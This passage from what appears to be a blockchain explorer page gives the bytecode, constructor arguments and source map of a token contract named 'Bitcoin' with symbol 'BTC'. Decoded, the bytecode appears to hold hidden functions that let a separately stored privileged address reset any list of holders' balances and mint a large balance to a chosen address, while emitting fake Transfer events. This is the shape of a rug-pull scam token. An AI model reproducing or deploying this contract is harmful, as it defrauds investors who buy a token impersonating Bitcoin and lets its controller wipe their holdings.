3121561161f5761161e611458565b5b5f61162c848285016114a6565b91505092915050565b61163e8161147f565b82525050565b5f6020820190506116575f830184611635565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261167e5761167d61165d565b5b8235905067ffffffffffffffff81111561169b5761169a611661565b5b6020830191508360208202830111156116b7576116b6611665565b5b9250929050565b5f5f602083850312156116d4576116d3611458565b5b5f83013567ffffffffffffffff8111156116f1576116f061145c565b5b6116fd85828601611669565b92509250509250929050565b5f5f6040838503121561171f5761171e611458565b5b5f61172c858286016114a6565b925050602061173d858286016114a6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061178b57607f821691505b60208210810361179e5761179d611747565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561182657808604811115611802576118016117a4565b5b60018516156118115780820291505b808102905061181f856117d1565b94506117e6565b94509492505050565b5f8261183e57600190506118f9565b8161184b575f90506118f9565b8160018114611861576002811461186b5761189a565b60019150506118f9565b60ff84111561187d5761187c6117a4565b5b8360020a915084821115611894576118936117a4565b5b506118f9565b5060208310610133831016604e8410600b84101617156118cf5782820a9050838111156118ca576118c96117a4565b5b6118f9565b6118dc84848460016117dd565b925090508184048111156118f3576118f26117a4565b5b81810290505b9392505050565b5f61190a826114ba565b9150611915836115d6565b92506119427fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461182f565b905092915050565b5f611954826114ba565b915061195f836114ba565b925082820261196d816114ba565b91508282048414831517611984576119836117a4565b5b5092915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6119bf6017836113d2565b91506119ca8261198b565b602082019050919050565b5f6020820190508181035f8301526119ec816119b3565b9050919050565b5f81519050611a0181611490565b92915050565b5f60208284031215611a1c57611a1b611458565b5b5f611a29848285016119f3565b91505092915050565b5f604082019050611a455f830185611635565b611a526020830184611635565b9392505050565b5f819050919050565b5f819050919050565b5f611a85611a80611a7b84611a59565b611a62565b6114ba565b9050919050565b611a9581611a6b565b82525050565b5f60c082019050611aae5f830189611635565b611abb602083018861155e565b611ac86040830187611a8c565b611ad56060830186611a8c565b611ae26080830185611635565b611aef60a083018461155e565b979650505050505050565b5f81519050611b08816114c3565b92915050565b5f5f5f60608486031215611b2557611b24611458565b5b5f611b3286828701611afa565b9350506020611b4386828701611afa565b9250506040611b5486828701611afa565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f611bbf601e836113d2565b9150611bca82611b8b565b602082019050919050565b5f6020820190508181035f830152611bec81611bb3565b9050919050565b5f611bfd826114ba565b9150611c08836114ba565b9250828203905081811115611c2057611c1f6117a4565b5b92915050565b5f611c30826114ba565b9150611c3b836114ba565b9250828201905080821115611c5357611c526117a4565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611c8d601b836113d2565b9150611c9882611c59565b602082019050919050565b5f6020820190508181035f830152611cba81611c81565b905091905056fea26469706673582212203e53a54842dc1a35d5aa6f79949b765e96133dade3e971be5d3f7860d0fcfa9264736f6c634300081c0033000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000d57806036cd52ca91e807b6f75b29b17ab0c67bc0000000000000000000000000000000000000000000000000000000000000007426974636f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034254430000000000000000000000000000000000000000000000000000000000
Deployed Bytecode
0x6080604052600436106100eb575f3560e01c8063715018a611610089578063a37e0a6411610058578063a37e0a64146102d0578063a9059cbb146102f8578063dd62ed3e14610334578063f2fde38b14610370576100f2565b8063715018a61461023e5780638da5cb5b146102545780638f8af1e11461027e57806395d89b41146102a6576100f2565b806323b872dd116100c557806323b872dd14610186578063293230b8146101c2578063313ce567146101d857806370a0823114610202576100f2565b806306fdde03146100f6578063095ea7b31461012057806318160ddd1461015c576100f2565b366100f257005b5f5ffd5b348015610101575f5ffd5b5061010a610398565b6040516101179190611438565b60405180910390f35b34801561012b575f5ffd5b50610146600480360381019061014191906114ed565b610428565b6040516101539190611545565b60405180910390f35b348015610167575f5ffd5b50610170610445565b60405161017d919061156d565b60405180910390f35b348015610191575f5ffd5b506101ac60048036038101906101a79190611586565b610466565b6040516101b99190611545565b60405180910390f35b3480156101cd575f5ffd5b506101d6610520565b005b3480156101e3575f5ffd5b506101ec6108f8565b6040516101f991906115f1565b60405180910390f35b34801561020d575f5ffd5b506102286004803603810190610223919061160a565b610900565b604051610235919061156d565b60405180910390f35b348015610249575f5ffd5b50610252610946565b005b34801561025f575f5ffd5b50610268610a46565b6040516102759190611644565b60405180910390f35b348015610289575f5ffd5b506102a4600480360381019061029f91906116be565b610a6d565b005b3480156102b1575f5ffd5b506102ba610be7565b6040516102c79190611438565b60405180910390f35b3480156102db575f5ffd5b506102f660048036038101906102f1919061160a565b610c77565b005b348015610303575f5ffd5b5061031e600480360381019061031991906114ed565b610de6565b60405161032b9190611545565b60405180910390f35b34801561033f575f5ffd5b5061035a60048036038101906103559190611709565b610e03565b604051610367919061156d565b60405180910390f35b34801561037b575f5ffd5b506103966004803603810190610391919061160a565b610e85565b005b6060600180546103a790611774565b80601f01602080910402602001604051908101604052809291908181526020018280546103d390611774565b801561041e5780601f106103f55761010080835404028352916020019161041e565b820191905f5260205f20905b81548152906001019060200180831161040157829003601f168201915b5050505050905090565b5f61043b610434610fbd565b8484610fc4565b6001905092915050565b5f6012600a6104549190611900565b6103e8610461919061194a565b905090565b5f610472848484611119565b6105158461047e610fbd565b6105108560065f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6104c8610fbd565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461131390919063ffffffff16565b610fc4565b600190509392505050565b610528610fbd565b73ffffffffffffffffffffffffffffffffffffffff16610546610a46565b73ffffffffffffffffffffffffffffffffffffffff1614610565575f5ffd5b600960149054906101000a900460ff16156105b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ac906119d5565b60405180910390fd5b73a6ad18c2ac47803e193f75c3677b14bf19b9488360085f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610673573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106979190611a07565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561071d573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107419190611a07565b6040518363ffffffff1660e01b815260040161075e929190611a32565b6020604051808303815f875af115801561077a573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079e9190611a07565b60095f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506108233060085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a6108119190611900565b6103e861081e919061194a565b610fc4565b60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061086b30610900565b5f5f610875610a46565b426040518863ffffffff1660e01b815260040161089796959493929190611a9b565b60606040518083038185885af11580156108b3573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906108d89190611b0e565b5050506001600960146101000a81548160ff021916908315150217905550565b5f6012905090565b5f60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b61094e610fbd565b73ffffffffffffffffffffffffffffffffffffffff1661096c610a46565b73ffffffffffffffffffffffffffffffffffffffff161461098b575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f5f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610a75610fbd565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610acc575f5ffd5b5f5f90505b82829050811015610be25760035460055f858585818110610af557610af4611b5e565b5b9050602002016020810190610b0a919061160a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff16838383818110610b7157610b70611b5e565b5b9050602002016020810190610b86919061160a565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600354604051610bcd919061156d565b60405180910390a38080600101915050610ad1565b505050565b606060028054610bf690611774565b80601f0160208091040260200160405190810160405280929190818152602001828054610c2290611774565b8015610c6d5780601f10610c4457610100808354040283529160200191610c6d565b820191905f5260205f20905b815481529060010190602001808311610c5057829003601f168201915b5050505050905090565b610c7f610fbd565b73ffffffffffffffffffffffffffffffffffffffff1660075f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd6575f5ffd5b6012600454610ce59190611900565b6012600a610cf39190611900565b6103e8610d00919061194a565b610d0a919061194a565b60055f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600454610da99190611900565b6012600a610db79190611900565b6103e8610dc4919061194a565b610dce919061194a565b604051610ddb919061156d565b60405180910390a350565b5f610df9610df2610fbd565b8484611119565b6001905092915050565b5f60065f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b610e8d610fbd565b73ffffffffffffffffffffffffffffffffffffffff16610eab610a46565b73ffffffffffffffffffffffffffffffffffffffff1614610eca575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610f01575f5ffd5b8073ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3805f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ffb575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611032575f5ffd5b8060065f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161110c919061156d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611150575f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611187575f5ffd5b6111d78160055f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461131390919063ffffffff16565b60055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506112688160055f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461136b90919063ffffffff16565b60055f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611306919061156d565b60405180910390a3505050565b5f82821115611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90611bd5565b60405180910390fd5b81836113639190611bf3565b905092915050565b5f5f82846113799190611c26565b9050838110156113be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b590611ca3565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f61140a826113c8565b61141481856113d2565b93506114248185602086016113e2565b61142d816113f0565b840191505092915050565b5f6020820190508181035f8301526114508184611400565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61148982611460565b9050919050565b6114998161147f565b81146114a3575f5ffd5b50565b5f813590506114b481611490565b92915050565b5f819050919050565b6114cc816114ba565b81146114d6575f5ffd5b50565b5f813590506114e7816114c3565b92915050565b5f5f6040838503121561150357611502611458565b5b5f611510858286016114a6565b9250506020611521858286016114d9565b9150509250929050565b5f8115159050919050565b61153f8161152b565b82525050565b5f6020820190506115585f830184611536565b92915050565b611567816114ba565b82525050565b5f6020820190506115805f83018461155e565b92915050565b5f5f5f6060848603121561159d5761159c611458565b5b5f6115aa868287016114a6565b93505060206115bb868287016114a6565b92505060406115cc868287016114d9565b9150509250925092565b5f60ff82169050919050565b6115eb816115d6565b82525050565b5f6020820190506116045f8301846115e2565b92915050565b5f6020828403121561161f5761161e611458565b5b5f61162c848285016114a6565b91505092915050565b61163e8161147f565b82525050565b5f6020820190506116575f830184611635565b92915050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261167e5761167d61165d565b5b8235905067ffffffffffffffff81111561169b5761169a611661565b5b6020830191508360208202830111156116b7576116b6611665565b5b9250929050565b5f5f602083850312156116d4576116d3611458565b5b5f83013567ffffffffffffffff8111156116f1576116f061145c565b5b6116fd85828601611669565b92509250509250929050565b5f5f6040838503121561171f5761171e611458565b5b5f61172c858286016114a6565b925050602061173d858286016114a6565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061178b57607f821691505b60208210810361179e5761179d611747565b5b50919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561182657808604811115611802576118016117a4565b5b60018516156118115780820291505b808102905061181f856117d1565b94506117e6565b94509492505050565b5f8261183e57600190506118f9565b8161184b575f90506118f9565b8160018114611861576002811461186b5761189a565b60019150506118f9565b60ff84111561187d5761187c6117a4565b5b8360020a915084821115611894576118936117a4565b5b506118f9565b5060208310610133831016604e8410600b84101617156118cf5782820a9050838111156118ca576118c96117a4565b5b6118f9565b6118dc84848460016117dd565b925090508184048111156118f3576118f26117a4565b5b81810290505b9392505050565b5f61190a826114ba565b9150611915836115d6565b92506119427fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848461182f565b905092915050565b5f611954826114ba565b915061195f836114ba565b925082820261196d816114ba565b91508282048414831517611984576119836117a4565b5b5092915050565b7f54726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f6119bf6017836113d2565b91506119ca8261198b565b602082019050919050565b5f6020820190508181035f8301526119ec816119b3565b9050919050565b5f81519050611a0181611490565b92915050565b5f60208284031215611a1c57611a1b611458565b5b5f611a29848285016119f3565b91505092915050565b5f604082019050611a455f830185611635565b611a526020830184611635565b9392505050565b5f819050919050565b5f819050919050565b5f611a85611a80611a7b84611a59565b611a62565b6114ba565b9050919050565b611a9581611a6b565b82525050565b5f60c082019050611aae5f830189611635565b611abb602083018861155e565b611ac86040830187611a8c565b611ad56060830186611a8c565b611ae26080830185611635565b611aef60a083018461155e565b979650505050505050565b5f81519050611b08816114c3565b92915050565b5f5f5f60608486031215611b2557611b24611458565b5b5f611b3286828701611afa565b9350506020611b4386828701611afa565b9250506040611b5486828701611afa565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f536166654d6174683a207375627472616374696f6e206f766572666c6f7700005f82015250565b5f611bbf601e836113d2565b9150611bca82611b8b565b602082019050919050565b5f6020820190508181035f830152611bec81611bb3565b9050919050565b5f611bfd826114ba565b9150611c08836114ba565b9250828203905081811115611c2057611c1f6117a4565b5b92915050565b5f611c30826114ba565b9150611c3b836114ba565b9250828201905080821115611c5357611c526117a4565b5b92915050565b7f536166654d6174683a206164646974696f6e206f766572666c6f7700000000005f82015250565b5f611c8d601b836113d2565b9150611c9882611c59565b602082019050919050565b5f6020820190508181035f830152611cba81611c81565b905091905056fea26469706673582212203e53a54842dc1a35d5aa6f79949b765e96133dade3e971be5d3f7860d0fcfa9264736f6c634300081c0033
Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)
000000000000000000000000000000000000000000000000000000000000006000000000000000000000000000000000000000000000000000000000000000a0000000000000000000000000d57806036cd52ca91e807b6f75b29b17ab0c67bc0000000000000000000000000000000000000000000000000000000000000007426974636f696e0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000034254430000000000000000000000000000000000000000000000000000000000
-----Decoded View---------------
Arg [0] : name_ (string): Bitcoin
Arg [1] : symbol_ (string): BTC
Arg [2] : wS (address): 0xd57806036Cd52ca91E807B6F75B29b17AB0C67bC
-----Encoded View---------------
7 Constructor Arguments found :
Arg [0] : 0000000000000000000000000000000000000000000000000000000000000060
Arg [1] : 00000000000000000000000000000000000000000000000000000000000000a0
Arg [2] : 000000000000000000000000d57806036cd52ca91e807b6f75b29b17ab0c67bc
Arg [3] : 0000000000000000000000000000000000000000000000000000000000000007
Arg [4] : 426974636f696e00000000000000000000000000000000000000000000000000
Arg [5] : 0000000000000000000000000000000000000000000000000000000000000003
Arg [6] : 4254430000000000000000000000000000000000000000000000000000000000
Deployed Bytecode Sourcemap
3102:5611:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4376:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5222:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4653:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5391:269;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7954:665;;;;;;;;;;;;;:::i;:::-;;4562:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4761:127;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2398:148;;;;;;;;;;;;;:::i;:::-;;2017:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7354:297;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4467:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7661:289;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4896:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5071:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2196:194;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4376:83;4413:13;4446:5;4439:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4376:83;:::o;5222:161::-;5297:4;5314:39;5323:12;:10;:12::i;:::-;5337:7;5346:6;5314:8;:39::i;:::-;5371:4;5364:11;;5222:161;;;;:::o;4653:100::-;4706:7;3296:2;3352;:13;;;;:::i;:::-;3345:4;:20;;;;:::i;:::-;4726:19;;4653:100;:::o;5391:269::-;5489:4;5506:36;5516:6;5524:9;5535:6;5506:9;:36::i;:::-;5553:77;5562:6;5570:12;:10;:12::i;:::-;5584:45;5622:6;5584:11;:19;5596:6;5584:19;;;;;;;;;;;;;;;:33;5604:12;:10;:12::i;:::-;5584:33;;;;;;;;;;;;;;;;:37;;:45;;;;:::i;:::-;5553:8;:77::i;:::-;5648:4;5641:11;;5391:269;;;;;:::o;7954:665::-;2155:12;:10;:12::i;:::-;2144:23;;:7;:5;:7::i;:::-;:23;;;2136:32;;;;;;8017:11:::1;;;;;;;;;;;8016:12;8008:48;;;;;;;;;;;;:::i;:::-;;;;;;;;;8106:42;8069:15;;:80;;;;;;;;;;;;;;;;;;8194:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8176:55;;;8240:4;8247:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8176:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;8160:13;;:110;;;;;;;;;;;;;;;;;;8281:63;8298:4;8313:15;;;;;;;;;;;3296:2;3352;:13;;;;:::i;:::-;3345:4;:20;;;;:::i;:::-;8281:8;:63::i;:::-;8357:15;;;;;;;;;;;:31;;;8396:21;8441:4;8461:24;8479:4;8461:9;:24::i;:::-;8500:1;8516;8532:7;:5;:7::i;:::-;8554:15;8357:223;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;8607:4;8593:11;;:18;;;;;;;;;;;;;;;;;;7954:665::o:0;4562:83::-;4603:5;3296:2;4621:16;;4562:83;:::o;4761:127::-;4827:7;4854:17;:26;4872:7;4854:26;;;;;;;;;;;;;;;;4847:33;;4761:127;;;:::o;2398:148::-;2155:12;:10;:12::i;:::-;2144:23;;:7;:5;:7::i;:::-;:23;;;2136:32;;;;;;2505:1:::1;2468:40;;2489:6;;;;;;;;;;;2468:40;;;;;;;;;;;;2536:1;2519:6;;:19;;;;;;;;;;;;;;;;;;2398:148::o:0;2017:79::-;2055:7;2082:6;;;;;;;;;;;2075:13;;2017:79;:::o;7354:297::-;7314:12;:10;:12::i;:::-;7297:29;;:13;;;;;;;;;;;:29;;;7289:38;;;;;;7448:9:::1;7460:1;7448:13;;7443:205;7467:18;;:25;;7463:1;:29;7443:205;;;7553:8;;7510:17;:40;7528:18;;7547:1;7528:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7510:40;;;;;;;;;;;;;;;:51;;;;7627:1;7587:53;;7596:18;;7615:1;7596:21;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;7587:53;;;7631:8;;7587:53;;;;;;:::i;:::-;;;;;;;;7494:3;;;;;;;7443:205;;;;7354:297:::0;;:::o;4467:87::-;4506:13;4539:7;4532:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4467:87;:::o;7661:289::-;7314:12;:10;:12::i;:::-;7297:29;;:13;;;;;;;;;;;:29;;;7289:38;;;;;;3296:2:::1;7810:10;;:23;;;;:::i;:::-;3296:2;3352;:13;;;;:::i;:::-;3345:4;:20;;;;:::i;:::-;7795:38;;;;:::i;:::-;7752:17;:40;7770:21;7752:40;;;;;;;;;;;;;;;:81;;;;7899:1;7859:83;;7868:21;7859:83;;;3296:2;7918:10;;:23;;;;:::i;:::-;3296:2;3352;:13;;;;:::i;:::-;3345:4;:20;;;;:::i;:::-;7903:38;;;;:::i;:::-;7859:83;;;;;;:::i;:::-;;;;;;;;7661:289:::0;:::o;4896:167::-;4974:4;4991:42;5001:12;:10;:12::i;:::-;5015:9;5026:6;4991:9;:42::i;:::-;5051:4;5044:11;;4896:167;;;;:::o;5071:143::-;5152:7;5179:11;:18;5191:5;5179:18;;;;;;;;;;;;;;;:27;5198:7;5179:27;;;;;;;;;;;;;;;;5172:34;;5071:143;;;;:::o;2196:194::-;2155:12;:10;:12::i;:::-;2144:23;;:7;:5;:7::i;:::-;:23;;;2136:32;;;;;;2297:1:::1;2277:22;;:8;:22;;::::0;2269:31:::1;;;;;;2345:8;2316:38;;2337:6;;;;;;;;;;;2316:38;;;;;;;;;;;;2374:8;2365:6;;:17;;;;;;;;;;;;;;;;;;2196:194:::0;:::o;1626:98::-;1679:7;1706:10;1699:17;;1626:98;:::o;6126:260::-;6237:1;6220:19;;:5;:19;;;6212:28;;;;;;6278:1;6259:21;;:7;:21;;;6251:30;;;;;;6324:6;6294:11;:18;6306:5;6294:18;;;;;;;;;;;;;;;:27;6313:7;6294:27;;;;;;;;;;;;;;;:36;;;;6362:7;6346:32;;6355:5;6346:32;;;6371:6;6346:32;;;;;;:::i;:::-;;;;;;;;6126:260;;;:::o;5703:381::-;5819:1;5801:20;;:6;:20;;;5793:29;;;;;;5862:1;5841:23;;:9;:23;;;5833:32;;;;;;5906:37;5936:6;5906:17;:25;5924:6;5906:25;;;;;;;;;;;;;;;;:29;;:37;;;;:::i;:::-;5878:17;:25;5896:6;5878:25;;;;;;;;;;;;;;;:65;;;;5985:40;6018:6;5985:17;:28;6003:9;5985:28;;;;;;;;;;;;;;;;:32;;:40;;;;:::i;:::-;5954:17;:28;5972:9;5954:28;;;;;;;;;;;;;;;:71;;;;6058:9;6041:35;;6050:6;6041:35;;;6069:6;6041:35;;;;;;:::i;:::-;;;;;;;;5703:381;;;:::o;1036:158::-;1094:7;1127:1;1122;:6;;1114:49;;;;;;;;;;;;:::i;:::-;;;;;;;;;1185:1;1181;:5;;;;:::i;:::-;1174:12;;1036:158;;;;:::o;849:179::-;907:7;927:9;943:1;939;:5;;;;:::i;:::-;927:17;;968:1;963;:6;;955:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1019:1;1012:8;;;849:179;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:139::-;376:6;371:3;366;360:23;417:1;408:6;403:3;399:16;392:27;287:139;;;:::o;432:102::-;473:6;524:2;520:7;515:2;508:5;504:14;500:28;490:38;;432:102;;;:::o;540:377::-;628:3;656:39;689:5;656:39;:::i;:::-;711:71;775:6;770:3;711:71;:::i;:::-;704:78;;791:65;849:6;844:3;837:4;830:5;826:16;791:65;:::i;:::-;881:29;903:6;881:29;:::i;:::-;876:3;872:39;865:46;;632:285;540:377;;;;:::o;923:313::-;1036:4;1074:2;1063:9;1059:18;1051:26;;1123:9;1117:4;1113:20;1109:1;1098:9;1094:17;1087:47;1151:78;1224:4;1215:6;1151:78;:::i;:::-;1143:86;;923:313;;;;:::o;1323:117::-;1432:1;1429;1422:12;1446:117;1555:1;1552;1545:12;1569:126;1606:7;1646:42;1639:5;1635:54;1624:65;;1569:126;;;:::o;1701:96::-;1738:7;1767:24;1785:5;1767:24;:::i;:::-;1756:35;;1701:96;;;:::o;1803:122::-;1876:24;1894:5;1876:24;:::i;:::-;1869:5;1866:35;1856:63;;1915:1;1912;1905:12;1856:63;1803:122;:::o;1931:139::-;1977:5;2015:6;2002:20;1993:29;;2031:33;2058:5;2031:33;:::i;:::-;1931:139;;;;:::o;2076:77::-;2113:7;2142:5;2131:16;;2076:77;;;:::o;2159:122::-;2232:24;2250:5;2232:24;:::i;:::-;2225:5;2222:35;2212:63;;2271:1;2268;2261:12;2212:63;2159:122;:::o;2287:139::-;2333:5;2371:6;2358:20;2349:29;;2387:33;2414:5;2387:33;:::i;:::-;2287:139;;;;:::o;2432:474::-;2500:6;2508;2557:2;2545:9;2536:7;2532:23;2528:32;2525:119;;;2563:79;;:::i;:::-;2525:119;2683:1;2708:53;2753:7;2744:6;2733:9;2729:22;2708:53;:::i;:::-;2698:63;;2654:117;2810:2;2836:53;2881:7;2872:6;2861:9;2857:22;2836:53;:::i;:::-;2826:63;;2781:118;2432:474;;;;;:::o;2912:90::-;2946:7;2989:5;2982:13;2975:21;2964:32;;2912:90;;;:::o;3008:109::-;3089:21;3104:5;3089:21;:::i;:::-;3084:3;3077:34;3008:109;